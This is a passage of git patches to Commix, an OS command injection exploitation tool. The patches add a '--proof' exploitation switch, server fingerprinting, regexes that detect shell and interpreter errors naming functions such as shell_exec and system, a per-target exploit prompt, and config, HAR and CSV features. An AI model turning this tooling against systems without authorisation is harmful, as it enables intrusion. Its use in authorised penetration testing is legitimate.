cve, check_header, filename, technique, no_result): # Opens later, at quit(), same as the main flow. execute_cmd = _command_executor(url, cve, check_header, filename, log_execution=True) + # The module has its own executor and never reaches pseudo_terminal_shell(), so it registers here. + from src.core.controller import proof + proof.register(technique, check_header, settings.HTTPMETHOD.GET, execute_cmd) handler.pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, on_found_declined=lambda: None) """ diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index d8b0500215..c0bf2e0a5c 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -810,6 +810,12 @@ def banner(): default=False, help="Force back-end operating system (e.g. 'Windows' or 'Unix-like').") +injection.add_option("--proof", + action="store_true", + dest="proof", + default=False, + help="Prove exploitation of the detected injection point(s).") + injection.add_option("--tamper", action="store", dest="tamper", diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 8254b2cea4..314e953478 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -215,7 +215,7 @@ def report(username, password, succeeded): err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e. '--auth-cred=admin:admin') " err_msg += "or place another dictionary in the '" - err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory." + err_msg += settings.TXT_DIR + "/' directory." settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_critical_msg(err_msg)) return False diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 4f058bdc41..cc18566390 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -39,6 +39,24 @@ from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib +""" +Keep the page the target answered with, off the response already in hand. + +Read once and handed back for whatever reads it next: what a parameter is compared against, what the +forms are parsed out of, and what the proof is written from all want the same page, and none of them +is worth a second request. +""" +def capture_original_page(response): + if response is None or isinstance(response, bool): + return None + try: + raw_body = response.read() + except Exception: + return None + response.read = (lambda _b: lambda *a, **kw: _b)(raw_body) + settings.ORIGINAL_PAGE = checks.decode_page_body(raw_body, response) + return raw_body + """ Check if the content of the given URL is stable over time. """ @@ -59,10 +77,8 @@ def _build_request(): try: if response is not None: - raw_body = response.read() + raw_body = capture_original_page(response) first_response_content = raw_body.strip() - response.read = (lambda _b: lambda *a, **kw: _b)(raw_body) - settings.ORIGINAL_PAGE = checks.decode_page_body(raw_body, response) else: first_response = headers.send_raw(_build_request()) try: @@ -100,9 +116,11 @@ def _build_request(): # Said before the work it decides, so the answer is given with the reason for it still on screen. if not settings.PAGE_STABLE and not settings.UNSTABLE_PROMPTED: settings.UNSTABLE_PROMPTED = True - warn_msg = "Target URL content is not stable. " - warn_msg += "Dynamic content is excluded from comparisons, but remaining response changes may " - warn_msg += "cause false negatives when no injectable parameter is identified." + # What happened, what is done about it, and what to reach for when the results read wrong. + warn_msg = "Target URL content is not stable (i.e. content differs). Page comparison is based " + warn_msg += "on a sequence matcher, with the parts that move on their own left out. If no " + warn_msg += "dynamic nor injectable parameter is detected, or in case of junk results, give " + warn_msg += "it a go with the switch '--text-only'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) message = "How do you want to proceed? [(C)ontinue/(q)uit] " if common.read_input(message, default="C", check_batch=True) in settings.CHOICE_QUIT: @@ -127,8 +145,10 @@ def _build_request(): settings.print_data_to_stdout(settings.print_warning_msg(msg)) return - msg = "Target URL content is " + status + "." - settings.print_data_to_stdout(settings.print_info_msg(msg)) + # Only where it is: the other answer was already given, with what it costs, by the warning above. + if settings.PAGE_STABLE: + msg = "Target URL content is stable." + settings.print_data_to_stdout(settings.print_info_msg(msg)) """ @@ -1011,6 +1031,13 @@ def application_identification(url, response=None): settings.TARGET_APPLICATION = match.group(0).upper() if settings.TARGET_APPLICATION: + # The version, where the header names one. Read as digits and dots only: a packaged build writes + # its packaging after the version ("5.5.9-1ubuntu4.6"), which is the distribution's and not the + # application's. + version = re.search(re.escape(settings.TARGET_APPLICATION) + r"[\-\_\/\ ]([\d\.]+)", x_powered_by, re.IGNORECASE) + if version: + settings.TARGET_APPLICATION_VERSION = version.group(1).rstrip(".") + # The application and the language an evaluated string is tried in are the same question, so # they are answered once and said once, rather than naming the same language twice over. checks.note_evaluated_language(settings.TARGET_APPLICATION, x_powered_by) @@ -1037,6 +1064,7 @@ def check_os(server_header): if match: # What the banner spells out, rather than the family it puts the target in. named = match.group(0) + settings.IDENTIFIED_SERVER_OS = named checks.set_target_os(named) if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.shellshock: @@ -1076,6 +1104,11 @@ def server_identification(response): match = re.search(banner, server_banner, re.IGNORECASE) if match: settings.SERVER_BANNER = match.group(0) + # The version, where the banner names one - the matched name carries it only for the servers + # whose pattern asks for it, so it is read off the banner itself. + version = re.search(re.escape(settings.SERVER_BANNER.split("/")[0]) + r"[\-\_\/\ ]([\d\.]+)", server_banner, re.IGNORECASE) + if version: + settings.SERVER_VERSION = version.group(1).rstrip(".") # Which document root this server keeps. It runs on the first connection, before the target's # operating system has been worked out, so the banner itself has to answer for it - an Apache diff --git a/src/txt/__init__.py b/src/txt/__init__.py deleted file mode 100644 index ca8037d413..0000000000 --- a/src/txt/__init__.py +++ /dev/null @@ -1,18 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass - -# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index a7859c3b4b..b37207e95b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "160" +REVISION = "161" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -410,7 +410,8 @@ def sys_argv_errors(): RANDOM_VAR_GENERATOR = ''.join(random.choice(string.ascii_uppercase[4:]) for _ in range(3)) # Path to text resources folder -TXT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) +DATA_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..', 'data')) +TXT_DIR = os.path.join(DATA_DIR, 'txt') START_TIME = time.time() @@ -1334,6 +1335,8 @@ def ascii_transparent_encoding(name): ] TARGET_APPLICATION = "" +# The version the application named for itself, where it named one. +TARGET_APPLICATION_VERSION = "" # Unsupported target application(s) [1] # [1] https://github.com/commixproject/commix/wiki/Target-applications UNSUPPORTED_TARGET_APPLICATION = [ @@ -1505,6 +1508,10 @@ def strip_ansi_codes(text): MAX_INVALID_URL_ANSWERS = 3 # Findings confirmed this run, for the end-of-run summary. CONFIRMED_INJECTION_POINTS = [] + +# One entry per technique that proved a point, with the executor that reaches it - see proof.py. +PROOF_EXECUTORS = [] +PROOF_DONE = False # (prefix, suffix, separator, whitespace) confirmed by one technique, tried first by the others. CONFIRMED_BOUNDARY = {} # Whether the "keep testing others" prompt already fired for this target. @@ -2214,6 +2221,11 @@ class END_LINE: # The web server named by the 'Server' header, and the ones that are recognised. SERVER_BANNER = "" +# The version that server named for itself, where it named one. +SERVER_VERSION = "" +# The distribution a banner spelled out, kept as the banner wrote it rather than as the family it +# puts the target in - "Ubuntu" is a name for a banner, "Unix-like" is what it makes of the target. +IDENTIFIED_SERVER_OS = "" SERVER_BANNERS = [ "Microsoft-IIS", # Ahead of the bare "Apache" below: Tomcat names itself with it, and keeps its own document root. From 0cae5bb24b9c527bd25f75ca51ca87d008f7b731 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 24 Sep 2026 10:01:08 +0300 Subject: [PATCH 0825/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index cce6fcbd1d..421a23bc79 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,5 @@ ## Version 4.2 (TBA) -* Changed: Text resource files were moved from the `src/txt` to the `data/txt` directory. +* Revised: Text resource files were moved from the `src/txt` to the `data/txt` directory. * Added: Summary of the identified command shell, web application technology and operating system, printed after the injection point(s). * Added: New switch `--proof` for demonstrating exploitation of each injection point found, with the evidence written beside the run's other output. * Added: New switch `--cleanup` for removing the file a technique left on the target, without being asked about it. From 5dd2810e12ed3d0baa1a5f840fe3d93b70da5449 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 24 Sep 2026 16:13:14 +0300 Subject: [PATCH 0826/1023] Added new switch `--parse-errors` for parsing known shell and interpreter error signatures from responses --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 41 ++++++++++++++++++++++++++++ src/core/controller/controller.py | 7 +++++ src/core/parse/cmdline.py | 6 +++++ src/core/requests/headers.py | 4 +++ src/utils/settings.py | 44 ++++++++++++++++++++++++++++++- 6 files changed, 102 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 421a23bc79..58697a3732 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New switch `--parse-errors` for parsing known shell and interpreter error signatures from responses. * Revised: Text resource files were moved from the `src/txt` to the `data/txt` directory. * Added: Summary of the identified command shell, web application technology and operating system, printed after the injection point(s). * Added: New switch `--proof` for demonstrating exploitation of each injection point found, with the evidence written beside the run's other output. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 68d6059e2f..d3f4b52ddf 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -44,6 +44,7 @@ from src.core.requests import stability from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import http_client as _http_client +from src.thirdparty.six.moves import html_parser as _html_parser from src.thirdparty.colorama import Style from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list @@ -1308,6 +1309,46 @@ def get_header(headers, key): break return value +""" +The shell or interpreter error a page is reporting, where it is reporting one. +""" +def extract_error_message(page): + if not isinstance(page, str) or not any(hint in page for hint in settings.SHELL_ERROR_HINTS): + return None + try: + import html + unescape = html.unescape + except ImportError: + unescape = _html_parser.HTMLParser().unescape + # The markup a message is wrapped in is the page's, not the shell's - and a message split across + # tags is one the shell wrote in one piece. Lines are left alone, so the regexes stay within one. + page = re.sub(r"[^\S\n]+", settings.SINGLE_WHITESPACE, re.sub(r"<[^>]{0,128}>", settings.SINGLE_WHITESPACE, unescape(page))) + for regex in settings.SHELL_ERROR_REGEXES: + match = re.search(regex, page) + if match: + candidate = match.group("result").strip().rstrip(".") + if candidate: + return candidate + return None + +""" +Say what the target answered with, where it answered with a shell or interpreter error. + +Evidence that the payload reached a shell and was not understood there, which is a different answer +from a parameter that never reached one - and the run it belongs to is the one that ends "not +injectable" while a different separator would have worked. +""" +def parse_errors(page): + message = extract_error_message(page) + if message is None: + return + settings.SHELL_ERROR_SEEN = True + if not menu.options.parse_errors or message in settings.PARSED_ERRORS: + return + settings.PARSED_ERRORS.add(message) + warn_msg = "Parsed error message from the target's response: '" + message + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Checks regarding a recognition of generic "your ip has been blocked" messages. """ diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 9ee0133e0b..dd2141025c 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1621,6 +1621,13 @@ def do_check(url, http_request_method, filename): if menu.options.oob_transport and settings.OOB_CHANNEL is not None and settings.OOB_STATE is not True: err_msg += " Out-of-band testing was held to the '" + str(menu.options.oob_transport) + "' client by " err_msg += "'--oob-transport' and nothing came back, which is also how a target without that client answers." + # A shell that complained about what it was given did run it, so what is missing is the way + # the payload was put together rather than a way in. + if settings.SHELL_ERROR_SEEN: + err_msg += " The target answered with shell errors while being tested, so the payload did reach a shell" + if not menu.options.parse_errors: + err_msg += " - the '--parse-errors' option shows what it said" + err_msg += "." if not menu.options.eval_sink: err_msg += " Code injection was not tested; the '--eval' option tests for it." err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index c0bf2e0a5c..22611cbc85 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -161,6 +161,12 @@ def banner(): default=False, help="Abort data retrieval on empty results.") +general.add_option("--parse-errors", + action="store_true", + dest="parse_errors", + default=False, + help="Parse and display shell error messages from responses.") + general.add_option("--report-json", action="store", dest="report_json", diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 74c614fb77..d1f66a746a 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -506,6 +506,8 @@ def https_open(self, req): checks.browser_verification(page) # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) + # Whatever shell or interpreter the page is reporting an error from. + checks.parse_errors(page) stability.reset_connection_error_budget() return response @@ -526,6 +528,8 @@ def https_open(self, req): checks.captcha_check(page) checks.browser_verification(page) checks.blocked_ip(page) + # A shell error is at least as likely to come back as a 500 as it is with a 200. + checks.parse_errors(page) if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ diff --git a/src/utils/settings.py b/src/utils/settings.py index b37207e95b..a20c5c959c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "161" +REVISION = "162" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2062,6 +2062,48 @@ class END_LINE: BLOCKED_IP_DETECTED = None +""" +Regular expressions used for parsing shell and interpreter errors out of a response ('--parse-errors'). + +Each one is a signature rather than a guess at what an error looks like, because what makes these +worth printing is that they cannot be anything else: a page saying them ran what it was given and +could not make sense of it, which is a different answer from a parameter that never reached a shell. +""" +SHELL_ERROR_REGEXES = ( + # POSIX shells, naming themselves before whatever they could not do. + r"(?P<result>[\w./\\-]{0,64}sh: [^\n]{0,192}?(?:command not found|not found|[Ss]yntax error|unexpected|[Uu]nterminated|[Pp]ermission denied|[Nn]o such file or directory|cannot (?:open|create|execute))[^\n]{0,96})", + # Windows command interpreter. + r"(?P<result>'[^'\n]{1,64}' is not recognized as an internal or external command[^\n]{0,64})", + r"(?P<result>The syntax of the command is incorrect\.)", + r"(?P<result>The system cannot find the (?:path|file) specified\.)", + # PHP, reporting from the function the payload landed in. + r"(?P<result>(?:Warning|Notice|Fatal error|Parse error)[^\n]{0,192}?(?:shell_exec|passthru|proc_open|pcntl_exec|popen|system|exec|eval)\(\)[^\n]{0,160})", + r"(?P<result>[^\n]{0,96}?has been disabled for security reasons[^\n]{0,32})", + # What an interpreter says about code it could not parse, whichever one it is. + r"(?P<result>[^\n]{0,64}?syntax error, unexpected [^\n]{1,128})", + r"(?P<result>[^\n]{0,96}?syntax error at [^\n]{1,96} line \d+[^\n]{0,64})", + r"(?P<result>(?:Syntax|Name|Type|Value|Import|ModuleNotFound|Attribute|Indentation|Reference|OS|FileNotFound|Permission)Error\s*:\s*[^\n]{1,160})", + r"(?P<result>Can't locate [^\n]{1,96} in @INC[^\n]{0,64})", +) + +""" +What has to be on a page before it is worth taking apart for the above. + +The set above is run over a page with its markup taken out, and doing that to every response a run +makes is work worth skipping - so a page is first looked at as it arrived, for the plain text that +every one of those signatures has to contain. Substrings rather than one alternation of them, +because a pattern of this many branches costs more to not match than these do to be looked for. +""" +SHELL_ERROR_HINTS = ("sh:", "syntax error", "Error", "not recognized as an internal", + "syntax of the command", "cannot find the", "disabled for security reasons", + "exec", "passthru", "proc_open", "popen", "system()", "eval()", "@INC") + +# Said once each, so a page answering the same way to every payload is not reported once per request. +PARSED_ERRORS = set() + +# Whether one was seen at all, which is worth saying even where they were not printed. +SHELL_ERROR_SEEN = False + # Prefix for Google analytics cookie names GOOGLE_ANALYTICS_COOKIE_REGEX = r"(?i)\A(_ga|_gid|_gat|_gcl_au|__utm[abcz])" From 815fbed1bc6b76a7685cbebfc63b553e89c36697 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 25 Sep 2026 06:32:27 +0300 Subject: [PATCH 0827/1023] Added `--save` and `-c` for saving and loading run options, `--har` for recording HTTP traffic in HAR format, and `--results-file` for exporting findings from multiple targets to CSV --- doc/CHANGELOG.md | 3 + src/core/controller/checks.py | 45 ++++++++- src/core/main.py | 9 ++ src/core/parse/cmdline.py | 41 ++++++++- src/core/parse/configfile.py | 166 ++++++++++++++++++++++++++++++++++ src/core/requests/headers.py | 5 + src/utils/har.py | 152 +++++++++++++++++++++++++++++++ src/utils/logs.py | 71 +++++++++++++++ src/utils/settings.py | 17 +++- 9 files changed, 504 insertions(+), 5 deletions(-) create mode 100644 src/core/parse/configfile.py create mode 100644 src/utils/har.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 58697a3732..7260537d50 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,7 @@ ## Version 4.2 (TBA) +* Added: New options `--save` and `-c` for keeping the options a run was given in a configuration file, and running from one. +* Added: New option `--har` for logging the run's HTTP traffic in the archive format proxies and browsers read. +* Added: New option `--results-file` for collecting the findings of every target tested into a CSV file. * Added: New switch `--parse-errors` for parsing known shell and interpreter error signatures from responses. * Revised: Text resource files were moved from the `src/txt` to the `data/txt` directory. * Added: Summary of the identified command shell, web application technology and operating system, printed after the injection point(s). diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index d3f4b52ddf..b96b94ed49 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -265,7 +265,7 @@ def has_marker(value): if has_marker(menu.options.host): settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True if has_marker(menu.options.header) or has_marker(menu.options.headers): - settings.CUSTOM_INJECTION_MARKER = True + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True if settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: if settings.CUSTOM_HEADER_CHECK not in settings.TESTABLE_PARAMETERS_LIST: settings.CUSTOM_INJECTION_MARKER = True @@ -386,6 +386,7 @@ def flush_os_shell_suggestion(): """ def finish_target(): close_oob_channel() + logs.write_results_rows() for cleanup_fn in list(settings.PENDING_FILE_CLEANUPS.values()): cleanup_fn() settings.PENDING_FILE_CLEANUPS.clear() @@ -487,15 +488,55 @@ def technique_selected(tech_letter, eval_sink=False): return False return len(menu.options.tech) == 0 or tech_letter in menu.options.tech +""" +Whether this run is working through several targets rather than the one it was pointed at. + +Wider than the flag a target list sets, because a crawl and a page of forms are the same thing +arrived at differently: the run was given somewhere to look rather than something to test, and what +it finds is a set of findings rather than one. +""" +def several_targets(): + return bool(settings.MULTI_TARGETS or settings.CRAWLING or menu.options.crawldepth or + menu.options.forms or menu.options.sitemap_url or menu.options.bulkfile) + +""" +Whether what was found on this target is to be acted on, or only reported. + +Worth asking where there is another target waiting: a list is gone through to find out which of its +entries are vulnerable, and being dropped into a shell on the first one - or made to sit through an +enumeration of it - is not what that run was started for. A single target is what the run is about, +so nothing is asked there and the answer is yes. +""" +def exploit_this_target(): + if not several_targets() or not settings.CONFIRMED_INJECTION_POINTS: + return True + while True: + message = "Do you want to exploit this injection point? [Y/n] " + exploit = common.read_input(message, default="Y", check_batch=True) + if exploit in settings.CHOICE_YES: + return True + elif exploit in settings.CHOICE_NO: + return False + elif exploit in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(exploit) + pass + """ Quit - hard_exit ends the process immediately (os._exit), otherwise SystemExit unwinds normally. """ def quit(filename, url, hard_exit): + exploit = exploit_this_target() if settings.CONFIRMED_INJECTION_POINTS: confirmed_injection_points_summary() - suggest_os_shell() + if exploit: + suggest_os_shell() settings.CONFIRMED_INJECTION_POINTS = [] # Post-detection actions run once, after detection finishes. + if not exploit: + settings.PENDING_POST_DETECTION_ACTIONS = [] + settings.PENDING_OS_SHELL_ENTRY = None for action_fn in list(settings.PENDING_POST_DETECTION_ACTIONS): action_fn() settings.PENDING_POST_DETECTION_ACTIONS = [] diff --git a/src/core/main.py b/src/core/main.py index 7be02e0a99..662458d906 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -583,6 +583,15 @@ def main(filename, url, http_request_method): elif "cookie" in test_names: settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = settings.COOKIE_INJECTION_LEVEL + # A marker placed in a header or a cookie picks the injection point out the same way '-p' does, + # so it calls for the same level - and without it the place is tested with boundaries that + # cannot break out of anything, which reads as a header that is not injectable. + if not menu.options.level and settings.CUSTOM_INJECTION_MARKER: + if settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS: + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = settings.HTTP_HEADER_INJECTION_LEVEL + elif settings.INJECTION_MARKER_LOCATION.COOKIE: + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = settings.COOKIE_INJECTION_LEVEL + if not settings.USER_APPLIED_LEVEL : settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = session_handler.applied_levels(url, http_request_method) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 22611cbc85..5cbda25d7e 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -104,6 +104,12 @@ def banner(): default=None, help="Log all HTTP traffic into a textual file.") +general.add_option("--har", + action="store", + dest="har", + default=None, + help="Log all HTTP traffic into a HAR file.") + general.add_option("--eta", action="store_true", dest="eta", @@ -161,12 +167,30 @@ def banner(): default=False, help="Abort data retrieval on empty results.") +general.add_option("-c", + action="store", + dest="config_file", + default=None, + help="Load options from a configuration INI file.") + +general.add_option("--save", + action="store", + dest="save_config", + default=None, + help="Save options to a configuration INI file.") + general.add_option("--parse-errors", action="store_true", dest="parse_errors", default=False, help="Parse and display shell error messages from responses.") +general.add_option("--results-file", + action="store", + dest="results_file", + default=None, + help="Store findings of every target to a CSV file.") + general.add_option("--report-json", action="store", dest="report_json", @@ -1050,12 +1074,19 @@ def truncate_option_strings(self, *args): if _named.strip() in settings.MODULES: setattr(options, _named.strip(), True) +# A profile stands for the settled part of a run, so it is applied before anything is worked out +# from the options - and only where the command line left the option alone. +_from_config = set() +if options.config_file: + from src.core.parse import configfile + _from_config = configfile.load(parser, options, options.config_file) + # Remember whether '--web-root' was explicitly supplied on the CLI settings.USER_APPLIED_WEB_ROOT = bool(options.web_root) # Remember whether '--retries' was explicitly supplied, since it carries a default of its own -settings.USER_APPLIED_RETRIES = any(_ in sys.argv for _ in ("--retries",)) or any(_.startswith("--retries=") for _ in sys.argv) -settings.USER_APPLIED_TIMEOUT = any(_ in sys.argv for _ in ("--timeout",)) or any(_.startswith("--timeout=") for _ in sys.argv) +settings.USER_APPLIED_RETRIES = "retries" in _from_config or any(_ in sys.argv for _ in ("--retries",)) or any(_.startswith("--retries=") for _ in sys.argv) +settings.USER_APPLIED_TIMEOUT = "timeout" in _from_config or any(_ in sys.argv for _ in ("--timeout",)) or any(_.startswith("--timeout=") for _ in sys.argv) # Remember whether '--auth-cred'/'--auth-type' were explicitly supplied on the CLI settings.USER_APPLIED_COOKIE = options.cookie or "" @@ -1078,6 +1109,12 @@ def truncate_option_strings(self, *args): # argv input errors settings.sys_argv_errors() +# Written after the command line has been checked over, so that a profile is never made out of one +# that would not have run. +if options.save_config: + from src.core.parse import configfile + configfile.save(parser, options, options.save_config) + COMMON_OPTIONS = ( (("?",), "show this help"), (("back",), "return to the previous menu"), diff --git a/src/core/parse/configfile.py b/src/core/parse/configfile.py new file mode 100644 index 0000000000..dc67c53f12 --- /dev/null +++ b/src/core/parse/configfile.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os + +from src.utils import settings +from src.thirdparty.six.moves import configparser as _configparser + +""" +The options a run was given, written out and read back. + +The file is INI with one section per option group, which is the same grouping the help lists them +under - so what is saved reads as the run described rather than as a flat list of names. A value +given on the command line wins over the same value in the file, which is what lets a saved profile +stand for the settled part of a run while the target, or whatever else is being varied, is still +given directly. +""" + +""" +Options that say what to do instead of how, and are therefore not part of a profile: saving it, +loading it, and the ones that print something and end the run. +""" +IGNORED = ("config_file", "save_config", "version", "install", "update", "advanced_help", + "list_tampers", "purge", "smoke_test", "wizard") + +""" +Every option the parser knows, as {group title: [(destination, option)]}. +""" +def _grouped(parser): + grouped = [] + for group in parser.option_groups: + options = [(option.dest, option) for option in group.option_list if option.dest and option.dest not in IGNORED] + if options: + grouped.append((group.title, options)) + return grouped + +""" +What an option's value looks like in the file. + +A switch is written as what it is, but an option that takes a value and was never given one is +written as nothing at all - several of them carry False for "unset", and writing that word would +read back as the value itself. +""" +def _written(option, value): + if option.action in ("store_true", "store_false"): + return str(bool(value)) + if value is None or value is False: + return "" + return str(value) + +""" +An option's value read back as the type the run works with. + +The parser calls anything it was not given a type for a string, while the default such an option +carries is often a number - and one read back as "5" is not the 5 it was written from, which is the +difference between a value left alone and a value that reads as having been asked for. +""" +def _read(option, default, raw): + raw = raw.strip() + if option.action in ("store_true", "store_false"): + return raw.lower() in ("1", "true", "yes", "on") + if raw == "": + return None + wanted = option.type + if wanted in (None, "string") and not isinstance(default, bool): + if isinstance(default, int): + wanted = "int" + elif isinstance(default, float): + wanted = "float" + if wanted == "int": + return int(raw) + if wanted in ("float", float): + return float(raw) + return raw + +""" +Write the options this run was given to a configuration file. +""" +def save(parser, options, filename): + config = _configparser.RawConfigParser() + for title, group_options in _grouped(parser): + config.add_section(title) + for dest, option in sorted(group_options): + config.set(title, dest, _written(option, getattr(options, dest, None))) + try: + directory = os.path.dirname(os.path.abspath(filename)) + if directory and not os.path.isdir(directory): + os.makedirs(directory) + with open(filename, "w") as output_file: + config.write(output_file) + except (OSError, IOError) as err_msg: + error_msg = "Unable to write the configuration file to '" + filename + "' (" + str(err_msg) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + info_msg = "Saved the options of this run to the configuration file '" + filename + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Apply a configuration file to the options this run was given. + +Only where the option is still what the parser left it: the command line is the more particular of +the two, so anything named there is what the run keeps. The names applied are handed back, because +whether an option was asked for at all is something the run decides other things by. +""" +def load(parser, options, filename): + if not os.path.isfile(filename): + error_msg = "The configuration file '" + filename + "' does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + config = _configparser.RawConfigParser() + try: + config.read(filename) + except _configparser.Error as err_msg: + error_msg = "Unable to read the configuration file '" + filename + "' (" + str(err_msg) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + known = dict((dest, option) for _, group_options in _grouped(parser) for dest, option in group_options) + applied, unknown = set(), [] + for section in config.sections(): + for dest, raw in config.items(section): + if dest not in known: + unknown.append(dest) + continue + option = known[dest] + default = parser.defaults.get(dest) + try: + value = _read(option, default, raw) + except ValueError: + error_msg = "The configuration file gives '" + dest + "' the value '" + raw.strip() + "', which is not a " + error_msg += str(option.type) + "." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + # A value that is merely the default carries nothing, and setting it would make the option + # look as though it had been asked for. + if value is None or value == default: + continue + if getattr(options, dest, None) != default: + continue + setattr(options, dest, value) + applied.add(dest) + + if unknown: + warn_msg = "The configuration file names " + ", ".join("'" + name + "'" for name in sorted(set(unknown))) + warn_msg += ", which " + ("are" if len(set(unknown)) > 1 else "is") + " not " + ("options" if len(set(unknown)) > 1 else "an option") + warn_msg += " of this version - ignored." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return applied + +# eof diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index d1f66a746a..04d1f81ae3 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -23,6 +23,7 @@ from base64 import encodestring as encodebytes from socket import error as SocketError from src.thirdparty.six.moves import http_client as _http_client +from src.utils import har from src.utils import logs from src.core.parse import cmdline as menu from src.utils import settings @@ -420,6 +421,7 @@ def https_open(self, req): response = False unauthorized = False pending_error = None + started = time.time() while stability.should_keep_retrying(succeeded, unauthorized): if any((settings.REVERSE_TCP, settings.BIND_TCP)): succeeded = True @@ -508,6 +510,7 @@ def https_open(self, req): checks.blocked_ip(page) # Whatever shell or interpreter the page is reporting an error from. checks.parse_errors(page) + har.collect(request, code, getattr(response, 